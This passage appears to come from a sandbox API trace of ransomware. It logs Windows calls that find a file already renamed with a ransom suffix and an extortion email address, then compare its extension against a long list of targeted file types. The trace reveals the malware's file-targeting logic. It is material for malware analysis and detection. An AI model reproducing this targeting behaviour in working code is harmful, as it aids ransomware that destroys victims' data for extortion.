hFindFile=0x484158, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37848b9e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37848b9e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37895095, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="DOWNLE~1.NEW")) returned 1 [0157.106] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[notgoodnews@tutanota.com].NEWS") returned 81 [0157.106] lstrlenW (lpString=".1cd") returned 4 [0157.106] lstrcmpiW (lpString1=".1cd", lpString2="NEWS") returned -1 [0157.106] lstrlenW (lpString=".3ds") returned 4 [0157.106] lstrcmpiW (lpString1=".3ds", lpString2="NEWS") returned -1 [0157.106] lstrlenW (lpString=".3fr") returned 4 [0157.106] lstrcmpiW (lpString1=".3fr", lpString2="NEWS") returned -1 [0157.106] lstrlenW (lpString=".3g2") returned 4 [0157.106] lstrcmpiW (lpString1=".3g2", lpString2="NEWS") returned -1 [0157.107] lstrlenW (lpString=".3gp") returned 4 [0157.107] lstrcmpiW (lpString1=".3gp", lpString2="NEWS") returned -1 [0157.107] lstrlenW (lpString=".7z") returned 3 [0157.107] lstrcmpiW (lpString1=".7z", lpString2="EWS") returned -1 [0157.107] lstrlenW (lpString=".accda") returned 6 [0157.107] lstrcmpiW (lpString1=".accda", lpString2="].NEWS") returned -1 [0157.107] lstrlenW (lpString=".accdb") returned 6 [0157.107] lstrcmpiW (lpString1=".accdb", lpString2="].NEWS") returned -1 [0157.107] lstrlenW (lpString=".accdc") returned 6 [0157.107] lstrcmpiW (lpString1=".accdc", lpString2="].NEWS") returned -1 [0157.107] lstrlenW (lpString=".accde") returned 6 [0157.107] lstrcmpiW (lpString1=".accde", lpString2="].NEWS") returned -1 [0157.107] lstrlenW (lpString=".accdt") returned 6 [0157.107] lstrcmpiW (lpString1=".accdt", lpString2="].NEWS") returned -1 [0157.107] lstrlenW (lpString=".accdw") returned 6 [0157.107] lstrcmpiW (lpString1=".accdw", lpString2="].NEWS") returned -1 [0157.107] lstrlenW (lpString=".adb") returned 4 [0157.107] lstrcmpiW (lpString1=".adb", lpString2="NEWS") returned -1 [0157.107] lstrlenW (lpString=".adp") returned 4 [0157.107] lstrcmpiW (lpString1=".adp", lpString2="NEWS") returned -1 [0157.107] lstrlenW (lpString=".ai") returned 3 [0157.107] lstrcmpiW (lpString1=".ai", lpString2="EWS") returned -1 [0157.107] lstrlenW (lpString=".ai3") returned 4 [0157.107] lstrcmpiW (lpString1=".ai3", lpString2="NEWS") returned -1 [0157.107] lstrlenW (lpString=".ai4") returned 4 [0157.107] lstrcmpiW (lpString1=".ai4", lpString2="NEWS") returned -1 [0157.107] lstrlenW (lpString=".ai5") returned 4 [0157.107] lstrcmpiW (lpString1=".ai5", lpString2="NEWS") returned -1 [0157.107] lstrlenW (lpString=".ai6") returned 4 [0157.107] lstrcmpiW (lpString1=".ai6", lpString2="NEWS") returned -1 [0157.107] lstrlenW (lpString=".ai7") returned 4 [0157.107] lstrcmpiW (lpString1=".ai7", lpString2="NEWS") returned -1 [0157.107] lstrlenW (lpString=".ai8") returned 4 [0157.107] lstrcmpiW (lpString1=".ai8", lpString2="NEWS") returned -1 [0157.107] lstrlenW (lpString=".anim") returned 5 [0157.107] lstrcmpiW (lpString1=".anim", lpString2=".NEWS") returned -1 [0157.107] lstrlenW (lpString=".arw") returned 4 [0157.108] lstrcmpiW (lpString1=".arw", lpString2="NEWS") returned -1 [0157.108] lstrlenW (lpString=".as") returned 3 [0157.108] lstrcmpiW (lpString1=".as", lpString2="EWS") returned -1 [0157.108] lstrlenW (lpString=".asa") returned 4 [0157.108] lstrcmpiW (lpString1=".asa", lpString2="NEWS") returned -1 [0157.108] lstrlenW (lpString=".asc") returned 4 [0157.108] lstrcmpiW (lpString1=".asc", lpString2="NEWS") returned -1 [0157.108] lstrlenW (lpString=".ascx") returned 5 [0157.108] lstrcmpiW (lpString1=".ascx", lpString2=".NEWS") returned -1 [0157.108] lstrlenW (lpString=".asm") returned 4 [0157.108] lstrcmpiW (lpString1=".asm", lpString2="NEWS") returned -1 [0157.108] lstrlenW (lpString=".asmx") returned 5 [0157.108] lstrcmpiW (lpString1=".asmx", lpString2=".NEWS") returned -1 [0157.108] lstrlenW (lpString=".asp") returned 4 [0157.108] lstrcmpiW (lpString1=".asp", lpString2="NEWS") returned -1 [0157.108] lstrlenW (lpString=".aspx") returned 5 [0157.108] lstrcmpiW (lpString1=".aspx", lpString2=".NEWS") returned -1 [0157.108] lstrlenW (lpString=".asr") returned 4 [0157.108] lstrcmpiW (lpString1=".asr", lpString2="NEWS") returned -1 [0157.108] lstrlenW (lpString=".asx") returned 4 [0157.108] lstrcmpiW (lpString1=".asx", lpString2="NEWS") returned -1 [0157.108] lstrlenW (lpString=".avi") returned 4 [0157.108] lstrcmpiW (lpString1=".avi", lpString2="NEWS") returned -1 [0157.108] lstrlenW (lpString=".avs") returned 4 [0157.108] lstrcmpiW (lpString1=".avs", lpString2="NEWS") returned -1 [0157.108] lstrlenW (lpString=".backup") returned 7 [0157.108] lstrcmpiW (lpString1=".backup", lpString2="m].NEWS") returned -1 [0157.108] lstrlenW (lpString=".bak") returned 4 [0157.108] lstrcmpiW (lpString1=".bak", lpString2="NEWS") returned -1 [0157.108] lstrlenW (lpString=".bay") returned 4 [0157.108] lstrcmpiW (lpString1=".bay", lpString2="NEWS") returned -1 [0157.108] lstrlenW (lpString=".bd") returned 3 [0157.108] lstrcmpiW (lpString1=".bd", lpString2="EWS") returned -1 [0157.108] lstrlenW (lpString=".bin") returned 4 [0157.108] lstrcmpiW (lpString1=".bin", lpString2="NEWS") returned -1 [0157.108] lstrlenW (lpString=".bmp") returned 4 [0157.109] lstrcmpiW (lpString1=".bmp", lpString2="NEWS") returned -1 [0157.109] lstrlenW (lpString=".bz2") returned 4 [0157.109] lstrcmpiW (lpString1=".bz2", lpString2="NEWS") returned -1 [0157.109] lstrlenW (lpString=".c") returned 2 [0157.109] lstrcmpiW (lpString1=".c", lpString2="WS") returned -1 [0157.109] lstrlenW (lpString=".cdr") returned 4 [0157.109] lstrcmpiW (lpString1=".cdr", lpString2="NEWS") returned -1 [0157.109] lstrlenW (lpString=".cer") returned 4 [0157.109] lstrcmpiW (lpString1=".cer", lpString2="NEWS") returned -1 [0157.109] lstrlenW (lpString=".cf") returned 3 [0157.109] lstrcmpiW (lpString1=".cf", lpString2="EWS") returned -1 [0157.109] lstrlenW (lpString=".cfc") returned 4 [0157.109] lstrcmpiW (lpString1=".cfc", lpString2="NEWS") returned -1 [0157.109] lstrlenW (lpString=".cfm") returned 4 [0157.109] lstrcmpiW (lpString1=".cfm", lpString2="NEWS") returned -1 [0157.109] lstrlenW (lpString=".cfml") returned 5 [0157.109] lstrcmpiW (lpString1=".cfml", lpString2=".NEWS") returned -1 [0157.109] lstrlenW (lpString=".cfu") returned 4 [0157.109] lstrcmpiW (lpString1=".cfu", lpString2="NEWS") returned -1 [0157.109] lstrlenW (lpString=".chm") returned 4 [0157.109] lstrcmpiW (lpString1=".chm", lpString2="NEWS") returned -1 [0157.109] lstrlenW (lpString=".cin") returned 4 [0157.109] lstrcmpiW (lpString1=".cin", lpString2="NEWS") returned -1 [0157.109] lstrlenW (lpString=".class") returned 6 [0157.109] lstrcmpiW (lpString1=".class", lpString2="].NEWS") returned -1 [0157.109] lstrlenW (lpString=".clx") returned 4 [0157.109] lstrcmpiW (lpString1=".clx", lpString2="NEWS") returned -1 [0157.109] lstrlenW (lpString=".config") returned 7 [0157.109] lstrcmpiW (lpString1=".config", lpString2="m].NEWS") returned -1 [0157.109] lstrlenW (lpString=".cpp") returned 4 [0157.109] lstrcmpiW (lpString1=".cpp", lpString2="NEWS") returned -1 [0157.109] lstrlenW (lpString=".cr2") returned 4 [0157.109] lstrcmpiW (lpString1=".cr2", lpString2="NEWS") returned -1 [0157.109] lstrlenW (lpString=".crt") returned 4 [0157.109] lstrcmpiW (lpString1=".crt", lpString2="NEWS") returned -1 [0157.109] lstrlenW (lpString=".crw") returned 4 [0157.109] lstrcmpiW (lpString1=".crw", lpString2="NEWS") returned -1 [0157.110] lstrlenW (lpString=".cs") returned 3 [0157.110] lstrcmpiW (lpString1=".cs", lpString2="EWS") returned -1 [0157.110] lstrlenW (lpString=".css") returned 4 [0157.110] lstrcmpiW (lpString1=".css", lpString2="NEWS") returned -1 [0157.110] lstrlenW (lpString=".csv") returned 4 [0157.110] lstrcmpiW (lpString1=".csv", lpString2="NEWS") returned -1 [0157.110] lstrlenW (lpString=".cub") returned 4 [0157.110] lstrcmpiW (lpString1=".cub", lpString2="NEWS") returned -1 [0157.110] lstrlenW (lpString=".dae") returned 4 [0157.110] lstrcmpiW (lpString1=".dae", lpString2="NEWS") returned -1 [0157.110] lstrlenW (lpString=".dat") returned 4 [0157.110] lstrcmpiW (lpString1=".dat", lpString2="NEWS") returned -1 [0157.110] lstrlenW (lpString=".db") returned 3 [0157.110] lstrcmpiW (lpString1=".db", lpString2="EWS") returned -1 [0157.110] lstrlenW (lpString=".dbf") returned 4 [0157.110] lstrcmpiW (lpString1=".dbf", lpString2="NEWS") returned -1 [0157.110] lstrlenW (lpString=".dbx") returned 4 [0157.110] lstrcmpiW (lpString1=".dbx", lpString2="NEWS") returned -1 [0157.110] lstrlenW (lpString=".dc3") returned 4 [0157.110] lstrcmpiW (lpString1=".dc3", lpString2="NEWS") returned -1 [0157.110] lstrlenW (lpString=".dcm") returned 4 [0157.110] lstrcmpiW (lpString1=".dcm", lpString2="NEWS") returned -1 [0157.110] lstrlenW (lpString=".dcr") returned 4 [0157.110] lstrcmpiW (lpString1=".dcr", lpString2="NEWS") returned -1 [0157.110] lstrlenW (lpString=".der") returned 4 [0157.110] lstrcmpiW (lpString1=".der", lpString2="NEWS") returned -1 [0157.110] lstrlenW (lpString=".dib") returned 4 [0157.110] lstrcmpiW (lpString1=".dib", lpString2="NEWS") returned -1 [0157.110] lstrlenW (lpString=".dic") returned 4 [0157.110] lstrcmpiW (lpString1=".dic", lpString2="NEWS") returned -1 [0157.110] lstrlenW (lpString=".dif") returned 4 [0157.110] lstrcmpiW (lpString1=".dif", lpString2="NEWS") returned -1 [0157.110] lstrlenW (lpString=".divx") returned 5 [0157.110] lstrcmpiW (lpString1=".divx", lpString2=".NEWS") returned -1 [0157.110] lstrlenW (lpString=".djvu") returned 5 [0157.110] lstrcmpiW (lpString1=".djvu", lpString2=".NEWS") returned -1 [0157.110] lstrlenW (lpString=".dng") returned 4 [0157.111] lstrcmpiW (lpString1=".dng", lpString2="NEWS") returned -1 [0157.111] lstrlenW (lpString=".doc") returned 4 [0157.111] lstrcmpiW (lpString1=".doc", lpString2="NEWS") returned -1 [0157.111] lstrlenW (lpString=".docm") returned 5 [0157.111] lstrcmpiW (lpString1=".docm", lpString2=".NEWS") returned -1 [0157.111] lstrlenW (lpString=".docx") returned 5 [0157.111] lstrcmpiW (lpString1=".docx", lpString2=".NEWS") returned -1 [0157.111] lstrlenW (lpString=".dot") returned 4 [0157.111] lstrcmpiW (lpString1=".dot", lpString2="NEWS") returned -1 [0157.111] lstrlenW (lpString=".dotm") returned 5 [0157.111] lstrcmpiW (lpString1=".dotm", lpString2=".NEWS") returned -1 [0157.111] lstrlenW (lpString=".dotx") returned 5 [0157.111] lstrcmpiW (lpString1=".dotx", lpString2=".NEWS") returned -1 [0157.111] lstrlenW (lpString=".dpx") returned 4 [0157.111] lstrcmpiW (lpString1=".dpx", lpString2="NEWS") returned -1 [0157.111] lstrlenW (lpString=".dqy") returned 4 [0157.111] lstrcmpiW (lpString1=".dqy", lpString2="NEWS") returned -1 [0157.111] lstrlenW (lpString=".dsn") returned 4 [0157.111] lstrcmpiW (lpString1=".dsn", lpString2="NEWS") returned -1 [0157.111] lstrlenW (lpString=".dt") returned 3 [0157.111] lstrcmpiW (lpString1=".dt", lpString2="EWS") returned -1 [0157.111] lstrlenW (lpString=".dtd") returned 4 [0157.111] lstrcmpiW (lpString1=".dtd", lpString2="NEWS") returned -1 [0157.111] lstrlenW (lpString=".dwg") returned 4 [0157.111] lstrcmpiW (lpString1=".dwg", lpString2="NEWS") returned -1 [0157.111] lstrlenW (lpString=".dwt") returned 4 [0157.111] lstrcmpiW (lpString1=".dwt", lpString2="NEWS") returned -1 [0157.111] lstrlenW (lpString=".dx") returned 3 [0157.111] lstrcmpiW (lpString1=".dx", lpString2="EWS") returned -1 [0157.111] lstrlenW (lpString=".dxf") returned 4 [0157.111] lstrcmpiW (lpString1=".dxf", lpString2="NEWS") returned -1 [0157.111] lstrlenW (lpString=".edml") returned 5 [0157.111] lstrcmpiW (lpString1=".edml", lpString2=".NEWS") returned -1 [0157.111] lstrlenW (lpString=".efd") returned 4 [0157.111] lstrcmpiW (lpString1=".efd", lpString2="NEWS") returned -1 [0157.111] lstrlenW (lpString=".elf") returned 4 [0157.111] lstrcmpiW (lpString1=".elf", lpString2="NEWS") returned -1 [0157.112] lstrlenW (lpString=".emf") returned 4 [0157.112] lstrcmpiW (lpString1=".emf", lpString2="NEWS") returned -1 [0157.112] lstrlenW (lpString=".emz") returned 4 [0157.112] lstrcmpiW (lpString1=".emz", lpString2="NEWS") returned -1 [0157.112] lstrlenW (lpString=".epf") returned 4 [0157.112] lstrcmpiW (lpString1=".epf", lpString2="NEWS") returned -1 [0157.112] lstrlenW (lpString=".eps") returned 4 [0157.112] lstrcmpiW (lpString1=".eps", lpString2="NEWS") returned -1 [0157.112] lstrlenW (lpString=".epsf") returned 5 [0157.112] lstrcmpiW (lpString1=".epsf", lpString2=".NEWS") returned -1 [0157.112] lstrlenW (lpString=".epsp") returned 5 [0157.112] lstrcmpiW (lpString1=".epsp", lpString2=".NEWS") returned -1 [0157.112] lstrlenW (lpString=".erf") returned 4 [0157.112] lstrcmpiW (lpString1=".erf", lpString2="NEWS") returned -1 [0157.112] lstrlenW (lpString=".exr") returned 4 [0157.112] lstrcmpiW (lpString1=".exr", lpString2="NEWS") returned -1 [0157.112] lstrlenW (lpString=".f4v") returned 4 [0157.112] lstrcmpiW (lpString1=".f4v", lpString2="NEWS") returned -1 [0157.112] lstrlenW (lpString=".fido") returned 5 [0157.112] lstrcmpiW (lpString1=".fido", lpString2=".NEWS") returned -1 [0157.112] lstrlenW (lpString=".flm") returned 4 [0157.112] lstrcmpiW (lpString1=".flm", lpString2="NEWS") returned -1 [0157.112] lstrlenW (lpString=".flv") returned 4 [0157.112] lstrcmpiW (lpString1=".flv", lpString2="NEWS") returned -1 [0157.112] lstrlenW (lpString=".frm") returned 4 [0157.112] lstrcmpiW (lpString1=".frm", lpString2="NEWS") returned -1 [0157.112] lstrlenW (lpString=".fxg") returned 4 [0157.112] lstrcmpiW (lpString1=".fxg", lpString2="NEWS") returned -1 [0157.112] lstrlenW (lpString=".geo") returned 4 [0157.112] lstrcmpiW (lpString1=".geo", lpString2="NEWS") returned -1 [0157.112] lstrlenW (lpString=".gif") returned 4 [0157.112] lstrcmpiW (lpString1=".gif", lpString2="NEWS") returned -1 [0157.112] lstrlenW (lpString=".grs") returned 4 [0157.112] lstrcmpiW (lpString1=".grs", lpString2="NEWS") returned -1 [0157.112] lstrlenW (lpString=".gz") returned 3 [0157.112] lstrcmpiW (lpString1=".gz", lpString2="EWS") returned -1 [0157.112] lstrlenW (lpString=".h") returned 2 [0157.112] lstrcmpiW (lpString1=".h", lpString2="WS") returned -1 [0157.113] lstrlenW (lpString=".hdr") returned 4 [0157.113] lstrcmpiW (lpString1=".hdr", lpString2="NEWS") returned -1 [0157.113] lstrlenW (lpString=".hpp") returned 4 [0157.113] lstrcmpiW (lpString1=".hpp", lpString2="NEWS") returned -1 [0157.113] lstrlenW (lpString=".hta") returned 4 [0157.113] lstrcmpiW (lpString1=".hta", lpString2="NEWS") returned -1 [0157.113] lstrlenW (lpString=".htc") returned 4 [0157.113] lstrcmpiW (lpString1=".htc", lpString2="NEWS") returned -1 [0157.113] lstrlenW (lpString=".htm") returned 4 [0157.113] lstrcmpiW (lpString1=".htm", lpString2="NEWS") returned -1 [0157.113] lstrlenW (lpString=".html") returned 5 [0157.113] lstrcmpiW (lpString1=".html", lpString2=".NEWS") returned -1 [0157.113] lstrlenW (lpString=".icb") returned 4 [0157.113] lstrcmpiW (lpString1=".icb", lpString2="NEWS") returned -1 [0157.113] lstrlenW (lpString=".ics") returned 4 [0157.113] lstrcmpiW (lpString1=".ics", lpString2="NEWS") returned -1 [0157.113] lstrlenW (lpString=".iff") returned 4 [0157.113] lstrcmpiW (lpString1=".iff", lpString2="NEWS") returned -1 [0157.113] lstrlenW (lpString=".inc") returned 4 [0157.113] lstrcmpiW (lpString1=".inc", lpString2="NEWS") returned -1 [0157.113] lstrlenW (lpString=".indd") returned 5 [0157.113] lstrcmpiW (lpString1=".indd", lpString2=".NEWS") returned -1 [0157.113] lstrlenW (lpString=".ini") returned 4 [0157.113] lstrcmpiW (lpString1=".ini", lpString2="NEWS") returned -1 [0157.113] lstrlenW (lpString=".iqy") returned 4 [0157.113] lstrcmpiW (lpString1=".iqy", lpString2="NEWS") returned -1 [0157.113] lstrlenW (lpString=".j2c") returned 4 [0157.113] lstrcmpiW (lpString1=".j2c", lpString2="NEWS") returned -1 [0157.113] lstrlenW (lpString=".j2k") returned 4 [0157.113] lstrcmpiW (lpString1=".j2k", lpString2="NEWS") returned -1 [0157.113] lstrlenW (lpString=".java") returned 5 [0157.113] lstrcmpiW (lpString1=".java", lpString2=".NEWS") returned -1 [0157.113] lstrlenW (lpString=".jp2") returned 4 [0157.113] lstrcmpiW (lpString1=".jp2", lpString2="NEWS") returned -1 [0157.113] lstrlenW (lpString=".jpc") returned 4 [0157.113] lstrcmpiW (lpString1=".jpc", lpString2="NEWS") returned -1 [0157.113] lstrlenW (lpString=".jpe") returned 4 [0157.114] lstrcmpiW (lpString1=".jpe", lpString2="NEWS") returned -1 [0157.114] lstrlenW (lpString=".jpeg") returned 5 [0157.114] lstrcmpiW (lpString1=".jpeg", lpString2=".NEWS") returned -1 [0157.114] lstrlenW (lpString=".jpf") returned 4 [0157.114] lstrcmpiW (lpString1=".jpf", lpString2="NEWS") returned -1 [0157.114] lstrlenW (lpString=".jpg") returned 4 [0157.114] lstrcmpiW (lpString1=".jpg", lpString2="NEWS") returned -1 [0157.114] lstrlenW (lpString=".jpx") returned 4 [0157.114] lstrcmpiW (lpString1=".jpx", lpString2="NEWS") returned -1 [0157.114] lstrlenW (lpString=".js") returned 3 [0157.114] lstrcmpiW (lpString1=".js", lpString2="EWS") returned -1 [0157.114] lstrlenW (lpString=".jsf") returned 4 [0157.114] lstrcmpiW (lpString1=".jsf", lpString2="NEWS") returned -1 [0157.114] lstrlenW (lpString=".json") returned 5 [0157.114] lstrcmpiW (lpString1=".json", lpString2=".NEWS") returned -1 [0157.114] lstrlenW (lpString=".jsp") returned 4 [0157.114] lstrcmpiW (lpString1=".jsp", lpString2="NEWS") returned -1 [0157.114] lstrlenW (lpString=".kdc") returned 4 [0157.114] lstrcmpiW (lpString1=".kdc", lpString2="NEWS") returned -1 [0157.114] lstrlenW (lpString=".kmz") returned 4 [0157.114] lstrcmpiW (lpString1=".kmz", lpString2="NEWS") returned -1 [0157.114] lstrlenW (lpString=".kwm") returned 4 [0157.114] lstrcmpiW (lpString1=".kwm", lpString2="NEWS") returned -1 [0157.114] lstrlenW (lpString=".lasso") returned 6 [0157.114] lstrcmpiW (lpString1=".lasso", lpString2="].NEWS") returned -1 [0157.114] lstrlenW (lpString=".lbi") returned 4 [0157.114] lstrcmpiW (lpString1=".lbi", lpString2="NEWS") returned -1 [0157.114] lstrlenW (lpString=".lgf") returned 4 [0157.114] lstrcmpiW (lpString1=".lgf", lpString2="NEWS") returned -1 [0157.114] lstrlenW (lpString=".lgp") returned 4 [0157.114] lstrcmpiW (lpString1=".lgp", lpString2="NEWS") returned -1 [0157.114] lstrlenW (lpString=".log") returned 4 [0157.114] lstrcmpiW (lpString1=".log", lpString2="NEWS") returned -1 [0157.114] lstrlenW (lpString=".m1v") returned 4 [0157.114] lstrcmpiW (lpString1=".m1v", lpString2="NEWS") returned -1 [0157.114] lstrlenW (lpString=".m4a") returned 4 [0157.114] lstrcmpiW (lpString1=".m4a", lpString2="NEWS") returned -1 [0157.115] lstrlenW (lpString=".m4v") returned 4 [0157.115] lstrcmpiW (lpString1=".m4v", lpString2="NEWS") returned -1 [0157.115] lstrlenW (lpString=".max") returned 4 [0157.115] lstrcmpiW (lpString1=".max", lpString2="NEWS") returned -1 [0157.115] lstrlenW (lpString=".md") returned 3 [0157.115] lstrcmpiW (lpString1=".md", lpString2="EWS") returned -1 [0157.115] lstrlenW (lpString=".mda") returned 4 [0157.115] lstrcmpiW (lpString1=".mda", lpString2="NEWS") returned -1 [0157.115] lstrlenW (lpString=".mdb") returned 4 [0157.115] lstrcmpiW (lpString1=".mdb", lpString2="NEWS") returned -1 [0157.115] lstrlenW (lpString=".mde") returned 4 [0157.115] lstrcmpiW (lpString1=".mde", lpString2="NEWS") returned -1 [0157.115] lstrlenW (lpString=".mdf") returned 4 [0157.115] lstrcmpiW (lpString1=".mdf", lpString2="NEWS") returned -1 [0157.115] lstrlenW (lpString=".mdw") returned 4 [0157.115] lstrcmpiW (lpString1=".mdw", lpString2="NEWS") returned -1 [0157.115] lstrlenW (lpString=".mef") returned 4 [0157.115] lstrcmpiW (lpString1=".mef", lpString2="NEWS") returned -1 [0157.115] lstrlenW (lpString=".mft") returned 4 [0157.115] lstrcmpiW (lpString1=".mft", lpString2="NEWS") returned -1 [0157.115] lstrlenW (lpString=".mfw") returned 4 [0157.115] lstrcmpiW (lpString1=".mfw", lpString2="NEWS") returned -1 [0157.115] lstrlenW (lpString=".mht") returned 4 [0157.115] lstrcmpiW (lpString1=".mht", lpString2="NEWS") returned -1 [0157.115] lstrlenW (lpString=".mhtml") returned 6 [0157.115] lstrcmpiW (lpString1=".mhtml", lpString2="].NEWS") returned -1 [0157.115] lstrlenW (lpString=".mka") returned 4 [0157.115] lstrcmpiW (lpString1=".mka", lpString2="NEWS") returned -1 [0157.115] lstrlenW (lpString=".mkidx") returned 6 [0157.115] lstrcmpiW (lpString1=".mkidx", lpString2="].NEWS") returned -1 [0157.115] lstrlenW (lpString=".mkv") returned 4 [0157.115] lstrcmpiW (lpString1=".mkv", lpString2="NEWS") returned -1 [0157.115] lstrlenW (lpString=".mos") returned 4 [0157.115] lstrcmpiW (lpString1=".mos", lpString2="NEWS") returned -1 [0157.115] lstrlenW (lpString=".mov") returned 4 [0157.115] lstrcmpiW (lpString1=".mov", lpString2="NEWS") returned -1 [0157.115] lstrlenW (lpString=".mp3") returned 4 [0157.116] lstrcmpiW (lpString1=".mp3", lpString2="NEWS") returned -1 [0157.116] lstrlenW (lpString=".mp4") returned 4 [0157.116] lstrcmpiW (lpString1=".mp4", lpString2="NEWS") returned -1 [0157.116] lstrlenW (lpString=".mpeg") returned 5 [0157.116] lstrcmpiW (lpString1=".mpeg", lpString2=".NEWS") returned -1 [0157.116] lstrlenW (lpString=".mpg") returned 4 [0157.116] lstrcmpiW (lpString1=".mpg", lpString2="NEWS") returned -1 [0157.116] lstrlenW (lpString=".mpv") returned 4 [0157.116] lstrcmpiW (lpString1=".mpv", lpString2="NEWS") returned -1 [0157.116] lstrlenW (lpString=".mrw") returned 4 [0157.116] lstrcmpiW (lpString1=".mrw", lpString2="NEWS") returned -1 [0157.116] lstrlenW (lpString=".msg") returned 4 [0157.116] lstrcmpiW (lpString1=".msg", lpString2="NEWS") returned -1 [0157.116] lstrlenW (lpString=".mxl") returned 4 [0157.116] lstrcmpiW (lpString1=".mxl", lpString2="NEWS") returned -1 [0157.116] lstrlenW (lpString=".myd") returned 4 [0157.116] lstrcmpiW (lpString1=".myd", lpString2="NEWS") returned -1 [0157.116] lstrlenW (lpString=".myi") returned 4 [0157.116] lstrcmpiW (lpString1=".myi", lpString2="NEWS") returned -1 [0157.116] lstrlenW (lpString=".nef") returned 4 [0157.116] lstrcmpiW (lpString1=".nef", lpString2="NEWS") returned -1 [0157.116] lstrlenW (lpString=".nrw") returned 4 [0157.116] lstrcmpiW (lpString1=".nrw", lpString2="NEWS") returned -1 [0157.116] lstrlenW (lpString=".obj") returned 4 [0157.116] lstrcmpiW (lpString1=".obj", lpString2="NEWS") returned -1 [0157.116] lstrlenW (lpString=".odb") returned 4 [0157.116] lstrcmpiW (lpString1=".odb", lpString2="NEWS") returned -1 [0157.116] lstrlenW (lpString=".odc") returned 4 [0157.116] lstrcmpiW (lpString1=".odc", lpString2="NEWS") returned -1 [0157.116] lstrlenW (lpString=".odm") returned 4 [0157.116] lstrcmpiW (lpString1=".odm", lpString2="NEWS") returned -1 [0157.116] lstrlenW (lpString=".odp") returned 4 [0157.116] lstrcmpiW (lpString1=".odp", lpString2="NEWS") returned -1 [0157.116] lstrlenW (lpString=".ods") returned 4 [0157.116] lstrcmpiW (lpString1=".ods", lpString2="NEWS") returned -1 [0157.116] lstrlenW (lpString=".oft") returned 4 [0157.116] lstrcmpiW (lpString1=".oft", lpString2="NEWS") returned -1 [0157.116] lstrlenW (lpString=".one") returned 4 [0157.117] lstrcmpiW (lpString1=".one", lpString2="NEWS") returned -1 [0157.117] lstrlenW (lpString=".onepkg") returned 7 [0157.117] lstrcmpiW (lpString1=".onepkg", lpString2="m].NEWS") returned -1 [0157.117] lstrlenW (lpString=".onetoc2") returned 8 [0157.117] lstrcmpiW (lpString1=".onetoc2", lpString2="om].NEWS") returned -1 [0157.117] lstrlenW (lpString=".opt") returned 4 [0157.117] lstrcmpiW (lpString1=".opt", lpString2="NEWS") returned -1 [0157.117] lstrlenW (lpString=".oqy") returned 4 [0157.117] lstrcmpiW (lpString1=".oqy", lpString2="NEWS") returned -1 [0157.117] lstrlenW (lpString=".orf") returned 4 [0157.117] lstrcmpiW (lpString1=".orf", lpString2="NEWS") returned -1 [0157.117] lstrlenW (lpString=".p12") returned 4 [0157.117] lstrcmpiW (lpString1=".p12", lpString2="NEWS") returned -1 [0157.117] lstrlenW (lpString=".p7b") returned 4 [0157.117] lstrcmpiW (lpString1=".p7b", lpString2="NEWS") returned -1 [0157.117] lstrlenW (lpString=".p7c") returned 4 [0157.117] lstrcmpiW (lpString1=".p7c", lpString2="NEWS") returned -1 [0157.117] lstrlenW (lpString=".pam") returned 4 [0157.117] lstrcmpiW (lpString1=".pam", lpString2="NEWS") returned -1 [0157.117] lstrlenW (lpString=".pbm") returned 4 [0157.117] lstrcmpiW (lpString1=".pbm", lpString2="NEWS") returned -1 [0157.117] lstrlenW (lpString=".pct") returned 4 [0157.117] lstrcmpiW (lpString1=".pct", lpString2="NEWS") returned -1 [0157.117] lstrlenW (lpString=".pcx") returned 4 [0157.117] lstrcmpiW (lpString1=".pcx", lpString2="NEWS") returned -1 [0157.117] lstrlenW (lpString=".pdd") returned 4 [0157.117] lstrcmpiW (lpString1=".pdd", lpString2="NEWS") returned -1 [0157.117] lstrlenW (lpString=".pdf") returned 4 [0157.117] lstrcmpiW (lpString1=".pdf", lpString2="NEWS") returned -1 [0157.117] lstrlenW (lpString=".pdp") returned 4 [0157.117] lstrcmpiW (lpString1=".pdp", lpString2="NEWS") returned -1 [0157.117] lstrlenW (lpString=".pef") returned 4 [0157.117] lstrcmpiW (lpString1=".pef", lpString2="NEWS") returned -1 [0157.117] lstrlenW (lpString=".pem") returned 4 [0157.117] lstrcmpiW (lpString1=".pem", lpString2="NEWS") returned -1 [0157.117] lstrlenW (lpString=".pff") returned 4 [0157.117] lstrcmpiW (lpString1=".pff", lpString2="NEWS") returned -1 [0157.117] lstrlenW (lpString=".pfm") returned 4 [0157.118] lstrcmpiW (lpString1=".pfm", lpString2="NEWS") returned -1 [0157.118] lstrlenW (lpString=".pfx") returned 4 [0157.118] lstrcmpiW (lpString1=".pfx", lpString2="NEWS") returned -1 [0157.118] lstrlenW (lpString=".pgm") returned 4 [0157.118] lstrcmpiW (lpString1=".pgm", lpString2="NEWS") returned -1 [0157.118] lstrlenW (lpString=".php") returned 4 [0157.118] lstrcmpiW (lpString1=".php", lpString2="NEWS") returned -1 [0157.118] lstrlenW (lpString=".php3") returned 5 [0157.118] lstrcmpiW (lpString1=".php3", lpString2=".NEWS") returned 1 [0157.118] lstrlenW (lpString=".php4") returned 5 [0157.118] lstrcmpiW (lpString1=".php4", lpString2=".NEWS") returned 1 [0157.118] lstrlenW (lpString=".php5") returned 5 [0157.118] lstrcmpiW (lpString1=".php5", lpString2=".NEWS") returned 1 [0157.118] lstrlenW (lpString=".phtml") returned 6 [0157.118] lstrcmpiW (lpString1=".phtml", lpString2="].NEWS") returned -1 [0157.118] lstrlenW (lpString=".pict") returned 5 [0157.118] lstrcmpiW (lpString1=".pict", lpString2=".NEWS") returned 1 [0157.118] lstrlenW (lpString=".pl") returned 3 [0157.118] lstrcmpiW (lpString1=".pl", lpString2="EWS") returned -1 [0157.118] lstrlenW (lpString=".pls") returned 4 [0157.118] lstrcmpiW (lpString1=".pls", lpString2="NEWS") returned -1 [0157.118] lstrlenW (lpString=".pm") returned 3 [0157.118] lstrcmpiW (lpString1=".pm", lpString2="EWS") returned -1 [0157.118] lstrlenW (lpString=".png") returned 4 [0157.118] lstrcmpiW (lpString1=".png", lpString2="NEWS") returned -1 [0157.118] lstrlenW 